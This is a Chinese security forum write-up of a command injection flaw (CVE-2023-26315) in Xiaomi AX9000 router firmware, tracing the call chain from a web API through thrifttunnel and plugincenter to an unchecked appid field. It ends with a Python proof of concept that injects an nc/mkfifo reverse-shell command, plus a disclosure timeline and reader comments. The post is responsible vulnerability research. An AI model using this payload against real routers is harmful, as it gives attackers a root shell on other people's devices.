奇安信攻防社区-小米AX9000路由器CVE-2023-26315漏洞挖掘

小米AX9000路由器CVE-2023-26315漏洞挖掘

分享一个笔者挖的小米AX9000路由器命令注入漏洞（CVE-2023-26315）的调用链分析。为了赏金挖洞，为了稿费发文，又要到饭了兄弟们！

小米AX9000路由器CVE-2023-26315漏洞挖掘
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> 为了赏金挖洞，为了稿费发文，又要到饭了兄弟们！

### 前言

一年多前，看到小米`SRC`公众号推文搞了个赏金活动，于是挖了挖当时比较新的一款`AX9000`路由器，挖到了两个命令注入漏洞，不过没什么本事，挖的都是授权后的，危害一般。小米给的赏金还是很可观的，但是补丁发布的速度不知为何比较慢（交了这么多厂商，还是`Zyxel`和华硕的响应速度最快），所以一直也没能分配`CVE`编号，我也遵守小米的规定在漏洞披露前未公开相关漏洞细节。

直到最近和其他朋友聊起这个漏洞，才想起来已经过去了一年多，应该是能公开了，于是又去找了小米`SRC`的运营小姐姐。经过一些流程的审批，得知这两个漏洞的确是已经推送完补丁可以披露了。不过有趣的是，小米申请的`2023`的`CVE`编号只剩一个了，`2024`的新编号还没申请，于是只先分配了一个漏洞的`CVE`，还有一个得等新编号。

正好和朋友聊到这个漏洞，也顺带回忆并简单记录了一下，想着既然写了就发出来吧。我这里也就先公开一个漏洞吧，另外一个后面看情况。时间有限，写的比较简略，希望能给各位师傅带来些许启发。

之后，可能会整理一些漏洞报告以及自己写的小工具放在我的`Github`上：<https://github.com/winmt>

### 漏洞信息

**漏洞编号：** [CVE-2023-26315](https://www.cve.org/CVERecord?id=CVE-2023-26315) / [CNVD-2024-23093](https://www.cnvd.org.cn/flaw/show/CNVD-2024-23093)

**安全通告及致谢：**

<https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=546>

<https://trust.mi.com/misrc/bulletins/advisory?cveId=546>

**漏洞描述：** 小米`AX9000`路由器在`1.0.168`版本及之前存在二进制漏洞（命令注入），该漏洞由于未对非法的`appid`做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后，可在远程目标设备上执行任意命令，并获得设备的最高控制权，造成权限提升。

BUT，怎么算`CVSS Score`应该都是`7.2+`高危，不太清楚官方的`6.5`是咋算的了QAQ

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a55be56a7b86b0161203a368d1db31bbe3e8ffa9.png)

关于修复后的`1.0.174`版本的固件，厂商说明目前已经直接由云端推送补丁。

### 准备工作

首先，可以从官网下载对应版本的固件：[小米路由器AX9000 稳定版 1.0.168](https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra70/miwifi_ra70_firmware_cc424_1.0.168.bin)

小米的固件最外面用的是`UBIFS`文件系统，固件本身没有加密，先用`binwalk`解出一个`.ubi`文件，然后用`ubireader_extract_images xxx.ubi`，可以在`ubifs-root`内解出三个`.ubifs`文件，对其中的`xxx-ubi_rootfs.ubifs`用`binwalk`再解开，即可得到里面的`SquashFS`文件系统，也就是核心部分。

小米的前端也是用的`Lua`编写的，但是其中的`Lua`文件不是源码，而是编译后的二进制文件，所以我们需要对其进行反编译。目前，对`Lua`反编译的常用工具有[unluac](https://github.com/HansWessels/unluac)和[luadec](https://github.com/viruscamp/luadec)。但是小米对`Lua`的解释器做了魔改，就不能直接用这两个工具进行反编译了，所幸已有师傅对此做了研究，并给出了专门针对小米固件的反编译工具[unluac\_miwifi](https://github.com/NyaMisty/unluac_miwifi)和[luadec\_miwifi](https://github.com/NyaMisty/luadec_miwifi)。至于如何对被魔改的解释器或编译器所编译出来的`Lua`字节码进行逆向，网上也有不少文章，这里不再展开。

我这里用的是`unluac_miwifi`，最终可以编译出一个`unluac.jar`，但一次只能对一个`Lua`文件进行反编译，所以我们需要写一个批量处理的简单脚本：

```python
import os

res = os.popen("find ./ -name *.lua").readlines()

for i in range(0, len(res)) :
    path = res[i].strip("\n")
    cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
    print(cmd)
    os.system(cmd)
```

小米`AX9000`路由器固件是`AArch64el`架构的，由于网上似乎没有公开的`AArch64`的内核与文件系统，系统级仿真可参考下面这篇文章的步骤`extract`出来`vmlinuz`和`initrd.img`：[https://www.diozero.com/boards/qemuaarch64\_bullseye.html](https://www.diozero.com/boards/qemuaarch64_bullseye.html)

此外，小米`AX9000`的固件中采用了`Apache Thrift`的框架，使用`C++`编写的版本，相关源码可见：<https://github.com/apache/thrift/tree/master/lib/cpp/src/thrift> ，也可参考网络上其他资料，初步认识后对接下来的逆向分析可能会有一些帮助。

### 漏洞细节

此部分只对该漏洞调用链做大致的分析，感兴趣的师傅可继续深入逆向分析相关细节。

在反编译的`/usr/lib/lua/luci/controller/api/xqdatacenter.lua`中，可以看到 URL `/api/xqdatacenter/request` 相关的`handler`函数是`tunnelRequest`函数，且访问`/api/xqdatacenter`这个节点是需要鉴权的（鉴权过程可在`/usr/lib/lua/luci/dispatcher.lua`的`authenticator.jsonauth`函数中找到）：

```lua
function L0()
    local L0, L1, L2, L3, L4, L5, L6
    L0 = node
    L1 = "api"
    L2 = "xqdatacenter"
    L0 = L0(L1, L2)
    L1 = firstchild
    L1 = L1()
    L0.target = L1
    L0.title = ""
    L0.order = 300
    L0.sysauth = "admin"
    L0.sysauth_authenticator = "jsonauth"
    L0.index = true
    ...
    L1 = entry
    L2 = {}
    L3 = "api"
    L4 = "xqdatacenter"
    L5 = "request"
    L2[1] = L3
    L2[2] = L4
    L2[3] = L5
    L3 = call
    L4 = "tunnelRequest"
    L3 = L3(L4)
    L4 = _
    L5 = ""
    L4 = L4(L5)
    L5 = 301
    L1(L2, L3, L4, L5)
    ...
end
index = L0
```

在函数`tunnelRequest`中，会对传入`payload`字段内的`JSON`数据（此处用的是`formvalue_unsafe`获取内容，显然这是一个不安全的函数，未过滤危险字符）用`binaryBase64Enc`函数在转成二进制后，进行`Base64`编码处理，然后拼接入`THRIFT_TUNNEL_TO_DATACENTER`所指代的命令中并执行。

```lua
function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8
  L0 = require
  L1 = "xiaoqiang.util.XQCryptoUtil"
  L0 = L0(L1)
  L1 = L0.binaryBase64Enc
  L2 = _UPVALUE0_
  L2 = L2.formvalue_unsafe
  L3 = "payload"
  L2, L3, L4, L5, L6, L7, L8 = L2(L3)
  L1 = L1(L2, L3, L4, L5, L6, L7, L8)
  L2 = _UPVALUE1_
  L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
  L2 = L2 % L1
  L3 = require
  L4 = "luci.util"
  L3 = L3(L4)
  L4 = _UPVALUE0_
  L4 = L4.write
  L5 = L3.exec
  L6 = L2
  L5 = L5(L6)
  L6 = nil
  L7 = false
  L8 = true
  L4(L5, L6, L7, L8)
end
tunnelRequest = L5
```

在`/usr/lib/lua/xiaoqiang/common/XQConfigs.lua`中，可以找到`THRIFT_TUNNEL_TO_DATACENTER`的相关定义：

```lua
L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0
```

可以看到，`THRIFT_TUNNEL_TO_DATACENTER`所指代的命令为`thrifttunnel 0 '%s'`。因此，最终所执行的完整命令是`thrifttunnel 0 'base64编码的payload字段'`，即`payload`字段中被`Base64`编码后的`Json`数据会被传入`thrifttunnel`程序中，且`option`为`0`。

在`/usr/sbin/thriftunnel`二进制文件中，`*(a2 + 16)`是传入的第二个参数，即`Base64`编码后的`payload`字段内的`Json`数据，其作为第一个参数被传入`sub_1B9B0`函数中，而`sub_1B9B0`函数的第二个参数`v11`此时是空串。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f35f89e530dfccf5f06f3040610361abf682e6b9.png)

进入`sub_1B9B0`函数后，可以发现首先将与`a1`（`Base64`编码的`payload`字段）相关的数据作为参数传入了`sub_1F1F8`函数处理，并最终将其返回结果通过`string::assign()`赋值给了`a2`（即上一级的`v11`变量）。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d9248d4bea501316d486cbe9e5c5bed9b54bdd1a.png)

`sub_1F1F8`函数看上去是做了一些编码转换的操作，可以猜测到这里就是做了`Base64`的解码工作。我们很容易根据其中抛出的异常信息确认我们的猜测，这里的确就是将`payload`字段内的`Json`数据进行了`Base64`解码。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-b57523755b11c604242dd698e3967c8507e6fb83.png)

我们再返回到主函数，进而当`*(a2 + 8)`即传入的第一个参数`option`为`0`时，会执行到`sub_1BAE0`函数，根据上文分析，其参数`v11`就是解码后的`Json`字符串。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-87b8aabd010a1da9f560abbe415a974e79dad032.png)

在`sub_1BAE0`函数中，创建了`socket`，结合传入的参数（上级的`v11`变量）是`Json`字符串，很容易判断出此处会将`payload`字段的`Json`数据发送给本地`127.0.0.1`的`9090`端口（这里保护了端口的安全性，没有对外开放，我们想要找到未授权口而悬着的心也终于死了）。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-e9c6f0026235b36d1eff929f5cdbdc85fc7074aa.png)

`/usr/sbin/datacenter`程序一直挂在进程中，监听着`9090`端口，故我们的数据被传到了`datacenter`程序进一步处理。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a1ee33cd426983a20a733a20dc21eb7913ae2392.png)

在`datacenter`的`constructAPIMappingTable()`函数里分别执行了三个类的`sConstructMappingTable()`函数。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-99447c0da22132234b3a1c0ffb8131a5b2cbd360.png)

其中，都是通过`STL map`建立起了`api`编号（下文解释）和对应的处理函数`handler`间的映射关系。具体来看，有一些`api`是直接在`datacenter`中被处理的，有些是被进一步转发到了`/usr/sbin/indexservice`（`9088`端口）处理，另外一些则是被转发到了`/usr/sbin/plugincenter`（`9091`端口）中进一步处理。

我们在这里直接定位到该漏洞对应的`api`，在`datacenter::PluginApiCollection::sConstructMappingTable`中，当`api`为`629`的时候，对应的`handler`是`callPluginCenter`，其实从函数名就能看出来作用了，就是转发给`plugincenter`。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-8988c481d797844e0086b207ca36413ad6892dfb.png)

进去简单看一下，的确是发送给了本地的`9091`端口（同样，容易在`plugincenter`程序中找到，其监听着`9091`端口）。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-22f11abd085577e8a38dd6a03b5abb9b398b12f2.png)

在`DataCenterHandler::request`函数中，在调用`APIMapping::APIMapping`函数建立好上述的映射关系表后，紧接着调用了`APIMapping::redirectRequest`函数。其中，先获取了`Json`对象中的`api`字段的值，存放在`v8`变量中，然后经历了一个`for`循环，其中有对`v8`值的判断比较，最后执行了一个函数指针。这里需要稍微解释一下，此处的`a1`就是上面建立的`map`映射表，类型是`std::map<int,void (*)(json_object *,std::string &)>`，即第一个元素（键值）是整数，第二个元素（实值）是函数指针。所以此处的`for`循环就是对`map`的操作，但是都是用的偏移值，不好看出来具体是什么，其实这里也没必要去查源码，我们直接自己写一个`map`容器的遍历，然后静态编译出来，反编译后这些偏移值的含义也就都清楚了。此处的`for`循环其实就是执行了`map.find()`的操作，寻找了`map`中`key`为`v8`（即`api`值）的迭代器，偏移`+32`就是第一个键值元素（`api`值），偏移`+40`则是第二个实值元素（`handler`的函数指针）。显然，此处就是根据传入的`api`字段值调用对应的`handler`的过程。到这里，上述建立的`Mapping Table`中的映射关系也更加明朗了。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-51049f04e0afd58e815269aeb99c2783d49fc67e.png)

上文说过，当`api`为`629`时，传入的`payload`字段的数据会被转发给`plugincenter`程序处理。所以最后来到了`/usr/sbin/plugincenter`程序中，找到`datacenter::PluginApiMappingExtendCollection::sConstructMappingTable`函数，仍然是通过`map`建立了`api`编号和对应`handler`函数的映射关系。可以看到，当`api`编号为`629`的时候，会执行到`parseGetIdForVendor`函数进行处理。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-398f8d936cd0579d7ba71d1d4ebdfeca609e6de5.png)

在`parseGetIdForVendor`函数中，会将传入的`Json`数据内的`appid`字段作为参数传递到`PluginApi::getIdForVendor`函数中。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-188d0291f16cacc982ce5985425f4ff77135841d.png)

在`PluginApi::getIdForVendor`函数中，可以很明显地发现：**即使`appid`字段合法性检查不通过，也会被拼接入命令中并执行**。显然，这里是一个开发上的疏忽，在判断`!IsValidAppId`的条件分支内，在输出报错信息后，应当在最后加上`return ;`返回，不能继续执行下去。

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-6e74a5ebd0f188a36bedba20471a0e028931fc63.png)

因此，这里存在一个命令注入漏洞，该漏洞调用链至此分析完毕。

### Poc及演示结果

这里需要自行更改一下相关`IP`和`Token`值，此处注入了反弹`shell`的命令，端口`8888`。

```python
import requests

server_ip = "192.168.50.1"
client_ip = "192.168.50.105"
token = "814c55713043e7358d3c1f42f2a98438"

nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8888 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)
```

![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-77cfabbfe68f3965d708c04c9bb30a1cf6364726.png)

### 写在最后

此篇文章仅作抛砖引玉，在`datacenter`，`plugincenter`以及`indexservice`内不同`api`的`handler`函数可能就有几百个（当然这里可以结合`fuzz`），以及`thriftunnel`的其他`option`操作也这么往下挖下去，我想应该也会存在漏洞。笔者也只是在小米当时赏金活动那几天大概看了看，后续也没再继续深入看这些地方了，本来想留着后面继续挖的，但是准备了一年保研感觉心态发生了一些奇妙的变化，研究生可能更想去尝试下其他更深入的方面，不想再做单纯的这样挖洞了，所以也就放出来了。感兴趣的读者可继续探索，挖到了也可以分享在评论区。

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**时间线：**

- 2023-03-26 提交漏洞报告至小米安全中心（Xiaomi Security Center）
- 2023-04-03 厂商验证后确认两个漏洞存在，并开始修复漏洞
- 2023-05-24 两个漏洞的赏金均到账（活动期间还翻倍了，挺爽）
- 2023-06-09 厂商告知漏洞已全部修复完成（但似乎补丁未立即发布）
- 2024-05-09 联系厂商分配其中一个漏洞编号 CVE-2023-26315 并披露
- 2024-06-12 CNVD 收录本文漏洞，分配编号 CNVD-2024-23093 并公开

发表于 2024-05-23 09:00:00
阅读 ( 8940 )
分类：硬件与物联网

8 条评论

ZIKH26 2024-05-23 22:18

师傅tql

winmt 回复 ZIKH26

你就是我买的水军嘛？

2024-05-24 15:37
回复

webqs 2024-05-23 09:08

师傅tql

ZIKH26 2024-05-23 13:34

又狠狠的学到了

雨下整夜 2024-05-23 16:14

强啊

ZIKH26 2024-05-23 21:46

又是精品，狠狠的学到了

ZIKH26 2024-05-23 21:50

一篇技术文章，竟然看哭了

blacking 2024-06-20 11:06

god